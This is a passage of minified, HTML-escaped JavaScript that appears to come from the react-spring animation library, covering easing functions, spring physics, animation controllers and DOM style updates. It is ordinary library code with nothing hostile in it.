Rn=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&amp;&amp;(e[o]=r[o])}return e},Rn.apply(this,arguments)}function ef(e,...t){return ce.fun(e)?e(...t):e}var gy=(e,t)=&gt;e===!0||!!(t&amp;&amp;e&amp;&amp;(ce.fun(e)?e(t):$n(e).includes(t))),QB=(e,t)=&gt;ce.obj(e)?t&amp;&amp;e[t]:e,JB=(e,t)=&gt;e.default===!0?e[t]:e.default?e.default[t]:void 0,sfe=e=&gt;e,$B=(e,t=sfe)=&gt;{let r=afe;e.default&amp;&amp;e.default!==!0&amp;&amp;(e=e.default,r=Object.keys(e));let o={};for(let n of r){let i=t(e[n],n);ce.und(i)||(o[n]=i)}return o},afe=[&quot;config&quot;,&quot;onProps&quot;,&quot;onStart&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;,&quot;onRest&quot;],lfe={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function cfe(e){let t={},r=0;if(Ji(e,(o,n)=&gt;{lfe[n]||(t[n]=o,r++)}),r)return t}function eM(e){let t=cfe(e);if(t){let r={to:t};return Ji(e,(o,n)=&gt;n in t||(r[n]=o)),r}return Rn({},e)}function vy(e){return e=Bo(e),ce.arr(e)?e.map(vy):cp(e)?Ri.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function ZO(e){return ce.fun(e)||ce.arr(e)&amp;&amp;ce.obj(e[0])}var ufe={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}},k_=1.70158,T_=k_*1.525,jB=k_+1,zB=2*Math.PI/3,UB=2*Math.PI/4.5,P_=e=&gt;e&lt;1/2.75?7.5625*e*e:e&lt;2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e&lt;2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,dfe={linear:e=&gt;e,easeInQuad:e=&gt;e*e,easeOutQuad:e=&gt;1-(1-e)*(1-e),easeInOutQuad:e=&gt;e&lt;.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=&gt;e*e*e,easeOutCubic:e=&gt;1-Math.pow(1-e,3),easeInOutCubic:e=&gt;e&lt;.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=&gt;e*e*e*e,easeOutQuart:e=&gt;1-Math.pow(1-e,4),easeInOutQuart:e=&gt;e&lt;.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=&gt;e*e*e*e*e,easeOutQuint:e=&gt;1-Math.pow(1-e,5),easeInOutQuint:e=&gt;e&lt;.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=&gt;1-Math.cos(e*Math.PI/2),easeOutSine:e=&gt;Math.sin(e*Math.PI/2),easeInOutSine:e=&gt;-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=&gt;e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=&gt;e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=&gt;e===0?0:e===1?1:e&lt;.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=&gt;1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=&gt;Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=&gt;e&lt;.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=&gt;jB*e*e*e-k_*e*e,easeOutBack:e=&gt;1+jB*Math.pow(e-1,3)+k_*Math.pow(e-1,2),easeInOutBack:e=&gt;e&lt;.5?Math.pow(2*e,2)*((T_+1)*2*e-T_)/2:(Math.pow(2*e-2,2)*((T_+1)*(e*2-2)+T_)+2)/2,easeInElastic:e=&gt;e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*zB),easeOutElastic:e=&gt;e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*zB)+1,easeInOutElastic:e=&gt;e===0?0:e===1?1:e&lt;.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*UB))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*UB)/2+1,easeInBounce:e=&gt;1-P_(1-e),easeOutBounce:P_,easeInOutBounce:e=&gt;e&lt;.5?(1-P_(1-2*e))/2:(1+P_(2*e-1))/2},KO=Rn({},ufe.default,{mass:1,damping:1,easing:dfe.linear,clamp:!1}),XO=class{constructor(){this.tension=void 0,this.friction=void 0,this.frequency=void 0,this.damping=void 0,this.mass=void 0,this.velocity=0,this.restVelocity=void 0,this.precision=void 0,this.progress=void 0,this.duration=void 0,this.easing=void 0,this.clamp=void 0,this.bounce=void 0,this.decay=void 0,this.round=void 0,Object.assign(this,KO)}};function ffe(e,t,r){r&amp;&amp;(r=Rn({},r),HB(r,t),t=Rn({},r,t)),HB(e,t),Object.assign(e,t);for(let a in KO)e[a]==null&amp;&amp;(e[a]=KO[a]);let{mass:o,frequency:n,damping:i}=e;return ce.und(n)||(n&lt;.01&amp;&amp;(n=.01),i&lt;0&amp;&amp;(i=0),e.tension=Math.pow(2*Math.PI/n,2)*o,e.friction=4*Math.PI*i*o/n),e}function HB(e,t){if(!ce.und(t.decay))e.duration=void 0;else{let r=!ce.und(t.tension)||!ce.und(t.friction);(r||!ce.und(t.frequency)||!ce.und(t.damping)||!ce.und(t.mass))&amp;&amp;(e.duration=void 0,e.decay=void 0),r&amp;&amp;(e.frequency=void 0)}}var GB=[],QO=class{constructor(){this.changed=!1,this.values=GB,this.toValues=null,this.fromValues=GB,this.to=void 0,this.from=void 0,this.config=new XO,this.immediate=!1}};function tM(e,{key:t,props:r,defaultProps:o,state:n,actions:i}){return new Promise((a,l)=&gt;{var c;let u,d,f=gy((c=r.cancel)!=null?c:o?.cancel,t);if(f)g();else{ce.und(r.pause)||(n.paused=gy(r.pause,t));let v=o?.pause;v!==!0&amp;&amp;(v=n.paused||gy(v,t)),u=ef(r.delay||0,t),v?(n.resumeQueue.add(h),i.pause()):(i.resume(),h())}function m(){n.resumeQueue.add(h),n.timeouts.delete(d),d.cancel(),u=d.time-Ge.now()}function h(){u&gt;0&amp;&amp;!Ri.skipAnimation?(n.delayed=!0,d=Ge.setTimeout(g,u),n.pauseQueue.add(m),n.timeouts.add(d)):g()}function g(){n.delayed&amp;&amp;(n.delayed=!1),n.pauseQueue.delete(m),n.timeouts.delete(d),e&lt;=(n.cancelId||0)&amp;&amp;(f=!0);try{i.start(Rn({},r,{callId:e,cancel:f}),a)}catch(v){l(v)}}})}var n5=(e,t)=&gt;t.length==1?t[0]:t.some(r=&gt;r.cancelled)?up(e.get()):t.every(r=&gt;r.noop)?rM(e.get()):zs(e.get(),t.every(r=&gt;r.finished)),rM=e=&gt;({value:e,noop:!0,finished:!0,cancelled:!1}),zs=(e,t,r=!1)=&gt;({value:e,finished:t,cancelled:r}),up=e=&gt;({value:e,cancelled:!0,finished:!1});function oM(e,t,r,o){let{callId:n,parentId:i,onRest:a}=t,{asyncTo:l,promise:c}=r;return!i&amp;&amp;e===l&amp;&amp;!t.reset?c:r.promise=(async()=&gt;{r.asyncId=n,r.asyncTo=e;let u=$B(t,(y,b)=&gt;b===&quot;onRest&quot;?void 0:y),d,f,m=new Promise((y,b)=&gt;(d=y,f=b)),h=y=&gt;{let b=n&lt;=(r.cancelId||0)&amp;&amp;up(o)||n!==r.asyncId&amp;&amp;zs(o,!1);if(b)throw y.result=b,f(y),y},g=(y,b)=&gt;{let _=new E_,S=new R_;return(async()=&gt;{if(Ri.skipAnimation)throw yy(r),S.result=zs(o,!1),f(S),S;h(_);let x=ce.obj(y)?Rn({},y):Rn({},b,{to:y});x.parentId=n,Ji(u,(R,F)=&gt;{ce.und(x[F])&amp;&amp;(x[F]=R)});let T=await o.start(x);return h(_),r.paused&amp;&amp;await new Promise(R=&gt;{r.resumeQueue.add(R)}),T})()},v;if(Ri.skipAnimation)return yy(r),zs(o,!1);try{let y;ce.arr(e)?y=(async b=&gt;{for(let _ of b)await g(_)})(e):y=Promise.resolve(e(g,o.stop.bind(o))),await Promise.all([y.then(d),m]),v=zs(o.get(),!0,!1)}catch(y){if(y instanceof E_)v=y.result;else if(y instanceof R_)v=y.result;else throw y}finally{n==r.asyncId&amp;&amp;(r.asyncId=i,r.asyncTo=i?l:void 0,r.promise=i?c:void 0)}return ce.fun(a)&amp;&amp;Ge.batchedUpdates(()=&gt;{a(v,o,o.item)}),v})()}function yy(e,t){sp(e.timeouts,r=&gt;r.cancel()),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&amp;&amp;(e.cancelId=t)}var E_=class extends Error{constructor(){super(&quot;An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.&quot;),this.result=void 0}},R_=class extends Error{constructor(){super(&quot;SkipAnimationSignal&quot;),this.result=void 0}},JO=e=&gt;e instanceof by,mfe=1,by=class extends ip{constructor(...t){super(...t),this.id=mfe++,this.key=void 0,this._priority=0}get priority(){return this._priority}set priority(t){this._priority!=t&amp;&amp;(this._priority=t,this._onPriorityChange(t))}get(){let t=js(this);return t&amp;&amp;t.getValue()}to(...t){return Ri.to(this,t)}interpolate(...t){return NB(),Ri.to(this,t)}toJSON(){return this.get()}observerAdded(t){t==1&amp;&amp;this._attach()}observerRemoved(t){t==0&amp;&amp;this._detach()}_attach(){}_detach(){}_onChange(t,r=!1){Xd(this,{type:&quot;change&quot;,parent:this,value:t,idle:r})}_onPriorityChange(t){this.idle||lp.sort(this),Xd(this,{type:&quot;priority&quot;,parent:this,priority:t})}},tf=Symbol.for(&quot;SpringPhase&quot;),nM=1,$O=2,e5=4,YO=e=&gt;(e[tf]&amp;nM)&gt;0,cu=e=&gt;(e[tf]&amp;$O)&gt;0,my=e=&gt;(e[tf]&amp;e5)&gt;0,WB=(e,t)=&gt;t?e[tf]|=$O|nM:e[tf]&amp;=~$O,YB=(e,t)=&gt;t?e[tf]|=e5:e[tf]&amp;=~e5,t5=class extends by{constructor(t,r){if(super(),this.key=void 0,this.animation=new QO,this.queue=void 0,this.defaultProps={},this._state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._pendingCalls=new Set,this._lastCallId=0,this._lastToId=0,this._memoizedDuration=0,!ce.und(t)||!ce.und(r)){let o=ce.obj(t)?Rn({},t):Rn({},r,{from:t});ce.und(o.default)&amp;&amp;(o.default=!0),this.start(o)}}get idle(){return!(cu(this)||this._state.asyncTo)||my(this)}get goal(){return Bo(this.animation.to)}get velocity(){let t=js(this);return t instanceof Qd?t.lastVelocity||0:t.getPayload().map(r=&gt;r.lastVelocity||0)}get hasAnimated(){return YO(this)}get isAnimating(){return cu(this)}get isPaused(){return my(this)}get isDelayed(){return this._state.delayed}advance(t){let r=!0,o=!1,n=this.animation,{config:i,toValues:a}=n,l=fy(n.to);!l&amp;&amp;En(n.to)&amp;&amp;(a=$n(Bo(n.to))),n.values.forEach((d,f)=&gt;{if(d.done)return;let m=d.constructor==Jd?1:l?l[f].lastPosition:a[f],h=n.immediate,g=m;if(!h){if(g=d.lastPosition,i.tension&lt;=0){d.done=!0;return}let v=d.elapsedTime+=t,y=n.fromValues[f],b=d.v0!=null?d.v0:d.v0=ce.arr(i.velocity)?i.velocity[f]:i.velocity,_,S=i.precision||(y==m?.005:Math.min(1,Math.abs(m-y)*.001));if(ce.und(i.duration))if(i.decay){let x=i.decay===!0?.998:i.decay,T=Math.exp(-(1-x)*v);g=y+b/(1-x)*(1-T),h=Math.abs(d.lastPosition-g)&lt;=S,_=b*T}else{_=d.lastVelocity==null?b:d.lastVelocity;let x=i.restVelocity||S/10,T=i.clamp?0:i.bounce,R=!ce.und(T),F=y==m?d.v0&gt;0:y&lt;m,B,z=!1,L=1,M=Math.ceil(t/L);for(let k=0;k&lt;M&amp;&amp;(B=Math.abs(_)&gt;x,!(!B&amp;&amp;(h=Math.abs(m-g)&lt;=S,h)));++k){R&amp;&amp;(z=g==m||g&gt;m==F,z&amp;&amp;(_=-_*T,g=m));let I=-i.tension*1e-6*(g-m),U=-i.friction*.001*_,G=(I+U)/i.mass;_=_+G*L,g=g+_*L}}else{let x=1;i.duration&gt;0&amp;&amp;(this._memoizedDuration!==i.duration&amp;&amp;(this._memoizedDuration=i.duration,d.durationProgress&gt;0&amp;&amp;(d.elapsedTime=i.duration*d.durationProgress,v=d.elapsedTime+=t)),x=(i.progress||0)+v/this._memoizedDuration,x=x&gt;1?1:x&lt;0?0:x,d.durationProgress=x),g=y+i.easing(x)*(m-y),_=(g-d.lastPosition)/t,h=x==1}d.lastVelocity=_,Number.isNaN(g)&amp;&amp;(console.warn(&quot;Got NaN while animating:&quot;,this),h=!0)}l&amp;&amp;!l[f].done&amp;&amp;(h=!1),h?d.done=!0:r=!1,d.setValue(g,i.round)&amp;&amp;(o=!0)});let c=js(this),u=c.getValue();if(r){let d=Bo(n.to);(u!==d||o)&amp;&amp;!i.decay?(c.setValue(d),this._onChange(d)):o&amp;&amp;i.decay&amp;&amp;this._onChange(u),this._stop()}else o&amp;&amp;this._onChange(u)}set(t){return Ge.batchedUpdates(()=&gt;{this._stop(),this._focus(t),this._set(t)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(cu(this)){let{to:t,config:r}=this.animation;Ge.batchedUpdates(()=&gt;{this._onStart(),r.decay||this._set(t,!1),this._stop()})}return this}update(t){return(this.queue||(this.queue=[])).push(t),this}start(t,r){let o;return ce.und(t)?(o=this.queue||[],this.queue=[]):o=[ce.obj(t)?t:Rn({},r,{to:t})],Promise.all(o.map(n=&gt;this._update(n))).then(n=&gt;n5(this,n))}stop(t){let{to:r}=this.animation;return this._focus(this.get()),yy(this._state,t&amp;&amp;this._lastCallId),Ge.batchedUpdates(()=&gt;this._stop(r,t)),this}reset(){this._update({reset:!0})}eventObserved(t){t.type==&quot;change&quot;?this._start():t.type==&quot;priority&quot;&amp;&amp;(this.priority=t.priority+1)}_prepareNode(t){let r=this.key||&quot;&quot;,{to:o,from:n}=t;o=ce.obj(o)?o[r]:o,(o==null||ZO(o))&amp;&amp;(o=void 0),n=ce.obj(n)?n[r]:n,n==null&amp;&amp;(n=void 0);let i={to:o,from:n};return YO(this)||(t.reverse&amp;&amp;([o,n]=[n,o]),n=Bo(n),ce.und(n)?js(this)||this._set(o):this._set(n)),i}_update(t,r){let o=Rn({},t),{key:n,defaultProps:i}=this;o.default&amp;&amp;Object.assign(i,$B(o,(c,u)=&gt;/^on/.test(u)?QB(c,n):c)),ZB(this,o,&quot;onProps&quot;),hy(this,&quot;onProps&quot;,o,this);let a=this._prepareNode(o);if(Object.isFrozen(this))throw Error(&quot;Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?&quot;);let l=this._state;return tM(++this._lastCallId,{key:n,props:o,defaultProps:i,state:l,actions:{pause:()=&gt;{my(this)||(YB(this,!0),ap(l.pauseQueue),hy(this,&quot;onPause&quot;,zs(this,py(this,this.animation.to)),this))},resume:()=&gt;{my(this)&amp;&amp;(YB(this,!1),cu(this)&amp;&amp;this._resume(),ap(l.resumeQueue),hy(this,&quot;onResume&quot;,zs(this,py(this,this.animation.to)),this))},start:this._merge.bind(this,a)}}).then(c=&gt;{if(o.loop&amp;&amp;c.finished&amp;&amp;!(r&amp;&amp;c.noop)){let u=iM(o);if(u)return this._update(u,!0)}return c})}_merge(t,r,o){if(r.cancel)return this.stop(!0),o(up(this));let n=!ce.und(t.to),i=!ce.und(t.from);if(n||i)if(r.callId&gt;this._lastToId)this._lastToId=r.callId;else return o(up(this));let{key:a,defaultProps:l,animation:c}=this,{to:u,from:d}=c,{to:f=u,from:m=d}=t;i&amp;&amp;!n&amp;&amp;(!r.default||ce.und(f))&amp;&amp;(f=m),r.reverse&amp;&amp;([f,m]=[m,f]);let h=!Ta(m,d);h&amp;&amp;(c.from=m),m=Bo(m);let g=!Ta(f,u);g&amp;&amp;this._focus(f);let v=ZO(r.to),{config:y}=c,{decay:b,velocity:_}=y;(n||i)&amp;&amp;(y.velocity=0),r.config&amp;&amp;!v&amp;&amp;ffe(y,ef(r.config,a),r.config!==l.config?ef(l.config,a):void 0);let S=js(this);if(!S||ce.und(f))return o(zs(this,!0));let x=ce.und(r.reset)?i&amp;&amp;!r.default:!ce.und(m)&amp;&amp;gy(r.reset,a),T=x?m:this.get(),R=vy(f),F=ce.num(R)||ce.arr(R)||cp(R),B=!v&amp;&amp;(!F||gy(l.immediate||r.immediate,a));if(g){let k=C_(f);if(k!==S.constructor)if(B)S=this._set(R);else throw Error(`Cannot animate between ${S.constructor.name} and ${k.name}, as the &quot;to&quot; prop suggests`)}let z=S.constructor,L=En(f),M=!1;if(!L){let k=x||!YO(this)&amp;&amp;h;(g||k)&amp;&amp;(M=Ta(vy(T),R),L=!M),(!Ta(c.immediate,B)&amp;&amp;!B||!Ta(y.decay,b)||!Ta(y.velocity,_))&amp;&amp;(L=!0)}if(M&amp;&amp;cu(this)&amp;&amp;(c.changed&amp;&amp;!x?L=!0:L||this._stop(u)),!v&amp;&amp;((L||En(u))&amp;&amp;(c.values=S.getPayload(),c.toValues=En(f)?null:z==Jd?[1]:$n(R)),c.immediate!=B&amp;&amp;(c.immediate=B,!B&amp;&amp;!x&amp;&amp;this._set(u)),L)){let{onRest:k}=c;zt(pfe,U=&gt;ZB(this,r,U));let I=zs(this,py(this,u));ap(this._pendingCalls,I),this._pendingCalls.add(o),c.changed&amp;&amp;Ge.batchedUpdates(()=&gt;{c.changed=!x,k?.(I,this),x?ef(l.onRest,I):c.onStart==null||c.onStart(I,this)})}x&amp;&amp;this._set(T),v?o(oM(r.to,r,this._state,this)):L?this._start():cu(this)&amp;&amp;!g?this._pendingCalls.add(o):o(rM(T))}_focus(t){let r=this.animation;t!==r.to&amp;&amp;(zO(this)&amp;&amp;this._detach(),r.to=t,zO(this)&amp;&amp;this._attach())}_attach(){let t=0,{to:r}=this.animation;En(r)&amp;&amp;(au(r,this),JO(r)&amp;&amp;(t=r.priority+1)),this.priority=t}_detach(){let{to:t}=this.animation;En(t)&amp;&amp;lu(t,this)}_set(t,r=!0){let o=Bo(t);if(!ce.und(o)){let n=js(this);if(!n||!Ta(o,n.getValue())){let i=C_(o);!n||n.constructor!=i?x_(this,i.create(o)):n.setValue(o),n&amp;&amp;Ge.batchedUpdates(()=&gt;{this._onChange(o,r)})}}return js(this)}_onStart(){let t=this.animation;t.changed||(t.changed=!0,hy(this,&quot;onStart&quot;,zs(this,py(this,t.to)),this))}_onChange(t,r){r||(this._onStart(),ef(this.animation.onChange,t,this)),ef(this.defaultProps.onChange,t,this),super._onChange(t,r)}_start(){let t=this.animation;js(this).reset(Bo(t.to)),t.immediate||(t.fromValues=t.values.map(r=&gt;r.lastPosition)),cu(this)||(WB(this,!0),my(this)||this._resume())}_resume(){Ri.skipAnimation?this.finish():lp.start(this)}_stop(t,r){if(cu(this)){WB(this,!1);let o=this.animation;zt(o.values,i=&gt;{i.done=!0}),o.toValues&amp;&amp;(o.onChange=o.onPause=o.onResume=void 0),Xd(this,{type:&quot;idle&quot;,parent:this});let n=r?up(this.get()):zs(this.get(),py(this,t??o.to));ap(this._pendingCalls,n),o.changed&amp;&amp;(o.changed=!1,hy(this,&quot;onRest&quot;,n,this))}}};function py(e,t){let r=vy(t),o=vy(e.get());return Ta(o,r)}function iM(e,t=e.loop,r=e.to){let o=ef(t);if(o){let n=o!==!0&amp;&amp;eM(o),i=(n||e).reverse,a=!n||n.reset;return r5(Rn({},e,{loop:t,default:!1,pause:void 0,to:!i||ZO(r)?r:void 0,from:a?e.from:void 0,reset:a},n))}}function r5(e){let{to:t,from:r}=e=eM(e),o=new Set;return ce.obj(t)&amp;&amp;qB(t,o),ce.obj(r)&amp;&amp;qB(r,o),e.keys=o.size?Array.from(o):null,e}function qB(e,t){Ji(e,(r,o)=&gt;r!=null&amp;&amp;t.add(o))}var pfe=[&quot;onStart&quot;,&quot;onRest&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;];function ZB(e,t,r){e.animation[r]=t[r]!==JB(t,r)?QB(t[r],e.key):void 0}function hy(e,t,...r){var o,n,i,a;(o=(n=e.animation)[t])==null||o.call(n,...r),(i=(a=e.defaultProps)[t])==null||i.call(a,...r)}var hfe=[&quot;onStart&quot;,&quot;onChange&quot;,&quot;onRest&quot;],gfe=1,A_=class{constructor(t,r){this.id=gfe++,this.springs={},this.queue=[],this.ref=void 0,this._flush=void 0,this._initialProps=void 0,this._lastAsyncId=0,this._active=new Set,this._changed=new Set,this._started=!1,this._item=void 0,this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._events={onStart:new Map,onChange:new Map,onRest:new Map},this._onFrame=this._onFrame.bind(this),r&amp;&amp;(this._flush=r),t&amp;&amp;this.start(Rn({default:!0},t))}get idle(){return!this._state.asyncTo&amp;&amp;Object.values(this.springs).every(t=&gt;t.idle&amp;&amp;!t.isDelayed&amp;&amp;!t.isPaused)}get item(){return this._item}set item(t){this._item=t}get(){let t={};return this.each((r,o)=&gt;t[o]=r.get()),t}set(t){for(let r in t){let o=t[r];ce.und(o)||this.springs[r].set(o)}}update(t){return t&amp;&amp;this.queue.push(r5(t)),this}start(t){let{queue:r}=this;return t?r=$n(t).map(r5):this.queue=[],this._flush?this._flush(this,r):(aM(this,r),vfe(this,r))}stop(t,r){if(t!==!!t&amp;&amp;(r=t),r){let o=this.springs;zt($n(r),n=&gt;o[n].stop(!!t))}else yy(this._state,this._lastAsyncId),this.each(o=&gt;o.stop(!!t));return this}pause(t){if(ce.und(t))this.start({pause:!0});else{let r=this.springs;zt($n(t),o=&gt;r[o].pause())}return this}resume(t){if(ce.und(t))this.start({pause:!1});else{let r=this.springs;zt($n(t),o=&gt;r[o].resume())}return this}each(t){Ji(this.springs,t)}_onFrame(){let{onStart:t,onChange:r,onRest:o}=this._events,n=this._active.size&gt;0,i=this._changed.size&gt;0;(n&amp;&amp;!this._started||i&amp;&amp;!this._started)&amp;&amp;(this._started=!0,sp(t,([c,u])=&gt;{u.value=this.get(),c(u,this,this._item)}));let a=!n&amp;&amp;this._started,l=i||a&amp;&amp;o.size?this.get():null;i&amp;&amp;r.size&amp;&amp;sp(r,([c,u])=&gt;{u.value=l,c(u,this,this._item)}),a&amp;&amp;(this._started=!1,sp(o,([c,u])=&gt;{u.value=l,c(u,this,this._item)}))}eventObserved(t){if(t.type==&quot;change&quot;)this._changed.add(t.parent),t.idle||this._active.add(t.parent);else if(t.type==&quot;idle&quot;)this._active.delete(t.parent);else return;Ge.onFrame(this._onFrame)}};function vfe(e,t){return Promise.all(t.map(r=&gt;sM(e,r))).then(r=&gt;n5(e,r))}async function sM(e,t,r){let{keys:o,to:n,from:i,loop:a,onRest:l,onResolve:c}=t,u=ce.obj(t.default)&amp;&amp;t.default;a&amp;&amp;(t.loop=!1),n===!1&amp;&amp;(t.to=null),i===!1&amp;&amp;(t.from=null);let d=ce.arr(n)||ce.fun(n)?n:void 0;d?(t.to=void 0,t.onRest=void 0,u&amp;&amp;(u.onRest=void 0)):zt(hfe,v=&gt;{let y=t[v];if(ce.fun(y)){let b=e._events[v];t[v]=({finished:_,cancelled:S})=&gt;{let x=b.get(y);x?(_||(x.finished=!1),S&amp;&amp;(x.cancelled=!0)):b.set(y,{value:null,finished:_||!1,cancelled:S||!1})},u&amp;&amp;(u[v]=t[v])}});let f=e._state;t.pause===!f.paused?(f.paused=t.pause,ap(t.pause?f.pauseQueue:f.resumeQueue)):f.paused&amp;&amp;(t.pause=!0);let m=(o||Object.keys(e.springs)).map(v=&gt;e.springs[v].start(t)),h=t.cancel===!0||JB(t,&quot;cancel&quot;)===!0;(d||h&amp;&amp;f.asyncId)&amp;&amp;m.push(tM(++e._lastAsyncId,{props:t,state:f,actions:{pause:g_,resume:g_,start(v,y){h?(yy(f,e._lastAsyncId),y(up(e))):(v.onRest=l,y(oM(d,v,f,e)))}}})),f.paused&amp;&amp;await new Promise(v=&gt;{f.resumeQueue.add(v)});let g=n5(e,await Promise.all(m));if(a&amp;&amp;g.finished&amp;&amp;!(r&amp;&amp;g.noop)){let v=iM(t,a,n);if(v)return aM(e,[v]),sM(e,v,!0)}return c&amp;&amp;Ge.batchedUpdates(()=&gt;c(g,e,e.item)),g}function yfe(e,t){let r=new t5;return r.key=e,t&amp;&amp;au(r,t),r}function bfe(e,t,r){t.keys&amp;&amp;zt(t.keys,o=&gt;{(e[o]||(e[o]=r(o)))._prepareNode(t)})}function aM(e,t){zt(t,r=&gt;{bfe(e.springs,r,o=&gt;yfe(o,e))})}function Sfe(e,t){if(e==null)return{};var r={},o=Object.keys(e),n,i;for(i=0;i&lt;o.length;i++)n=o[i],!(t.indexOf(n)&gt;=0)&amp;&amp;(r[n]=e[n]);return r}var _fe=[&quot;children&quot;],i5=e=&gt;{let{children:t}=e,r=Sfe(e,_fe),o=(0,_y.useContext)(O_),n=r.pause||!!o.pause,i=r.immediate||!!o.immediate;r=FB(()=&gt;({pause:n,immediate:i}),[n,i]);let{Provider:a}=O_;return Sy.createElement(a,{value:r},t)},O_=wfe(i5,{});i5.Provider=O_.Provider;i5.Consumer=O_.Consumer;function wfe(e,t){return Object.assign(e,Sy.createContext(t)),e.Provider._context=e,e.Consumer._context=e,e}var KB;(function(e){e.MOUNT=&quot;mount&quot;,e.ENTER=&quot;enter&quot;,e.UPDATE=&quot;update&quot;,e.LEAVE=&quot;leave&quot;})(KB||(KB={}));var o5=class extends by{constructor(t,r){super(),this.key=void 0,this.idle=!0,this.calc=void 0,this._active=new Set,this.source=t,this.calc=su(...r);let o=this._get(),n=C_(o);x_(this,n.create(o))}advance(t){let r=this._get(),o=this.get();Ta(r,o)||(js(this).setValue(r),this._onChange(r,this.idle)),!this.idle&amp;&amp;XB(this._active)&amp;&amp;qO(this)}_get(){let t=ce.arr(this.source)?this.source.map(Bo):$n(Bo(this.source));return this.calc(...t)}_start(){this.idle&amp;&amp;!XB(this._active)&amp;&amp;(this.idle=!1,zt(fy(this),t=&gt;{t.done=!1}),Ri.skipAnimation?(Ge.batchedUpdates(()=&gt;this.advance()),qO(this)):lp.start(this))}_attach(){let t=1;zt($n(this.source),r=&gt;{En(r)&amp;&amp;au(r,this),JO(r)&amp;&amp;(r.idle||this._active.add(r),t=Math.max(t,r.priority+1))}),this.priority=t,this._start()}_detach(){zt($n(this.source),t=&gt;{En(t)&amp;&amp;lu(t,this)}),this._active.clear(),qO(this)}eventObserved(t){t.type==&quot;change&quot;?t.idle?this.advance():(this._active.add(t.parent),this._start()):t.type==&quot;idle&quot;?this._active.delete(t.parent):t.type==&quot;priority&quot;&amp;&amp;(this.priority=$n(this.source).reduce((r,o)=&gt;Math.max(r,(JO(o)?o.priority:0)+1),0))}};function xfe(e){return e.idle!==!1}function XB(e){return!e.size||Array.from(e).every(xfe)}function qO(e){e.idle||(e.idle=!0,zt(fy(e),t=&gt;{t.done=!0}),Xd(e,{type:&quot;idle&quot;,parent:e}))}Ri.assign({createStringInterpolator:b_,to:(e,t)=&gt;new o5(e,t)});var A3e=lp.advance;var uM=s(s5());function u5(e,t){if(e==null)return{};var r={},o=Object.keys(e),n,i;for(i=0;i&lt;o.length;i++)n=o[i],!(t.indexOf(n)&gt;=0)&amp;&amp;(r[n]=e[n]);return r}var Cfe=[&quot;style&quot;,&quot;children&quot;,&quot;scrollTop&quot;,&quot;scrollLeft&quot;],dM=/^--/;function Tfe(e,t){return t==null||typeof t==&quot;boolean&quot;||t===&quot;&quot;?&quot;&quot;:typeof t==&quot;number&quot;&amp;&amp;t!==0&amp;&amp;!dM.test(e)&amp;&amp;!(wy.hasOwnProperty(e)&amp;&amp;wy[e])?t+&quot;px&quot;:(&quot;&quot;+t).trim()}var cM={};function Pfe(e,t){if(!e.nodeType||!e.setAttribute)return!1;let r=e.nodeName===&quot;filter&quot;||e.parentNode&amp;&amp;e.parentNode.nodeName===&quot;filter&quot;,o=t,{style:n,children:i,scrollTop:a,scrollLeft:l}=o,c=u5(o,Cfe),u=Object.values(c),d=Object.keys(c).map(f=&gt;r||e.hasAttribute(f)?f:cM[f]||(cM[f]=f.replace(/([A-Z])/g,m=&gt;&quot;-&quot;+m.toLowerCase())));i!==void 0&amp;&amp;(e.textContent=i);for(let f in n)if(n.hasOwnProperty(f)){let m=Tfe(f,n[f]);dM.test(f)?e.style.setProperty(f,m):e.style[f]=m}d.forEach((f,m)=&gt;{e.setAttribute(f,u[m])}),a!==void 0&amp;&amp;(e.scrollTop=a),l!==void 0&amp;&amp;(e.scrollLeft=l)}var 